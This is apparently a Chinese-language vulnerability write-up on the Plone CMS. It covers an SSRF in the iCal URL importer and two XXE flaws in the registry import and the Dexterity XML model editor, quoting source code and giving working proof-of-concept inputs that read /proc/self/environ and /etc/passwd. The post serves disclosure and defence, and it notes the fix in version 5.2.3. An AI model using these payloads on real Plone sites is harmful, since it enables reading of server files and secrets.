Plone

Plone是使用Python开发的一个开源的内容管理系统,安装的时候以第三方包的形式安装使用,三百个包左右的程序,这个查看起来查找对应功能实在是费劲。

SSRF

plone.app.event-3.2.7-py3.6.egg\plone\app\event\ical\importer.py

@button.buttonAndHandler(u'Save and Import')
    def handleSaveImport(self, action):
        data, errors = self.extractData()
        if errors:
            return False

        self.save_data(data)

        ical_file = data['ical_file']
        ical_url = data['ical_url']
        event_type = data['event_type']
        sync_strategy = data['sync_strategy']

        if ical_file or ical_url:

            if ical_file:
                # File upload is not saved in settings
                ical_resource = ical_file.data
                ical_import_from = ical_file.filename
            else:
                ical_resource = urllib.request.urlopen(ical_url).read()
                ical_import_from = ical_url

            import_metadata = ical_import(
                self.context,
                ics_resource=ical_resource,
                event_type=event_type,
                sync_strategy=sync_strategy,
            )

如上所述,在读取参数 ical_url时,根据程序设置是导入该事件的 icalendar资源文件,但对如何读取资源文件没有限制,可以直接使用urllib包进行读取和返回

在Members功能下的Action中选择Enable icalendar import后,配置Icalendar URL参数。

参数:http://127.0.0.1:22,执行Save and Import

image-20201109094919974

urllib还支持文件协议,因此也可以用于文件读取

参数: file:///proc/self/environ

image-20201109100807462

XXE

plone.app.registry-1.7.6-py3.6.egg\plone\app\registry\browser\records.py

def import_registry(self):
        try:
            fi = self.request.form['file']
            body = fi.read()
        except (AttributeError, KeyError):
            messages = IStatusMessage(self.request)
            messages.add(u"Must provide XML file", type=u"error")
            body = None
        if body is not None:
            importer = RegistryImporter(self.context, FakeEnv())
            try:
                importer.importDocument(body)
            except XMLSyntaxError:
                messages = IStatusMessage(self.request)
                messages.add(u"Must provide valid XML file", type=u"error")
        return self.request.response.redirect(self.context.absolute_url())

注意importDocument方法,该方法在lxml.etree下调用该方法

plone.app.registry-1.7.6-py3.6.egg\plone\app\registry\exportimport\handler.py

class RegistryImporter(object):
    """Helper classt to import a registry file
    """

    LOGGER_ID = 'plone.app.registry'

    def __init__(self, context, environ):
        self.context = context
        self.environ = environ
        self.logger = environ.getLogger(self.LOGGER_ID)

    def importDocument(self, document):
        tree = etree.fromstring(document)

        if self.environ.shouldPurge():
            self.context.records.clear()

        i18n_domain = tree.attrib.get(ns('domain', I18N_NAMESPACE))
        if i18n_domain:
            parseinfo.i18n_domain = i18n_domain

        for node in tree:
            if not isinstance(node.tag, str):
                continue
            condition = node.attrib.get('condition', None)
            if condition and not evaluateCondition(condition):
                continue
            if node.tag.lower() == 'record':
                self.importRecord(node)
            elif node.tag.lower() == 'records':
                self.importRecords(node)

        parseinfo.i18n_domain = None

此方法是此XXE的原因。 在网站设置Site Setup下的Configuration Registry中导出合适的XML文件。 在这里,选择了plone.thumb_scale_table.xml前缀文件。

参数 POC:

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE value [
<!ELEMENT value ANY >
<!ENTITY title SYSTEM "file:///etc/passwd" > 
]>
<registry>
  <records interface="Products.CMFPlone.interfaces.controlpanel.ISiteSchema" prefix="plone">
    <value key="thumb_scale_table">&title;</value>
  </records>
</registry>

执行后,您可以在错误报告中看到已解析的XML实体。image-20201109142113406

XXE-2

plone.app.dexterity-2.6.5-py3.6.egg\plone\app\dexterity\browser\modeleditor.py

class AjaxSaveHandler(BrowserView):
    """Handle AJAX save posts.
    """

    def __call__(self):
        """Handle AJAX save post.
        """

        if not authorized(self.context, self.request):
            raise Unauthorized

        source = self.request.form.get('source')
        if source:
            # Is it valid XML?
            try:
                root = etree.fromstring(source)
            except etree.XMLSyntaxError as e:
                return json.dumps({
                    'success': False,
                    'message': 'XMLSyntaxError: {0}'.format(
                        safe_unicode(e.args[0])
                    )
                })

            # a little more sanity checking, look at first two element levels
            if root.tag != NAMESPACE + 'model':
                return json.dumps({
                    'success': False,
                    'message': _(u"Error: root tag must be 'model'")
                })
            for element in root.getchildren():
                if element.tag != NAMESPACE + 'schema':
                    return json.dumps({
                        'success': False,
                        'message': _(
                            u"Error: all model elements must be 'schema'"
                        )
                    })

            # can supermodel parse it?
            # This is mainly good for catching bad dotted names.
            try:
                plone.supermodel.loadString(source, policy=u'dexterity')
            except SupermodelParseError as e:
                message = e.args[0].replace('\n  File "<unknown>"', '')
                return json.dumps({
                    'success': False,
                    'message': u'SuperModelParseError: {0}'.format(message)
                })

上面的代码使用lxml库,但是直接解析xml中的外部参数。 结果,在功能 Dexterity Content Types下选择 custom content types,然后单击进入。 fields标签下的Edit XML Field Model可以直接编写xml代码。

参数 POC:

<!DOCTYPE value [<!ELEMENT value ANY ><!ENTITY title SYSTEM "file:///etc/passwd" > ]>
<model xmlns:i18n="http://xml.zope.org/namespaces/i18n" xmlns:marshal="http://namespaces.plone.org/supermodel/marshal" xmlns:form="http://namespaces.plone.org/supermodel/form" xmlns:security="http://namespaces.plone.org/supermodel/security" xmlns:users="http://namespaces.plone.org/supermodel/users" xmlns:lingua="http://namespaces.plone.org/supermodel/lingua" xmlns="http://namespaces.plone.org/supermodel/schema">
 &title;<schema/>
</model>

因为程序代码中似乎存在问题,所以无法添加XML声明文件,但是打开的默认声明文件具有添加的声明文件。 需要删除。 保存参数,并在返回后单击此处查看它们。

image-20201110100900815

问题相对利用条件较高,需要管理员权限,其后官方推出了更新版本5.2.3:https://dist.plone.org/release/5.2.3-pending/RELEASE-NOTES.txt





# web安全   # python  

tocToc: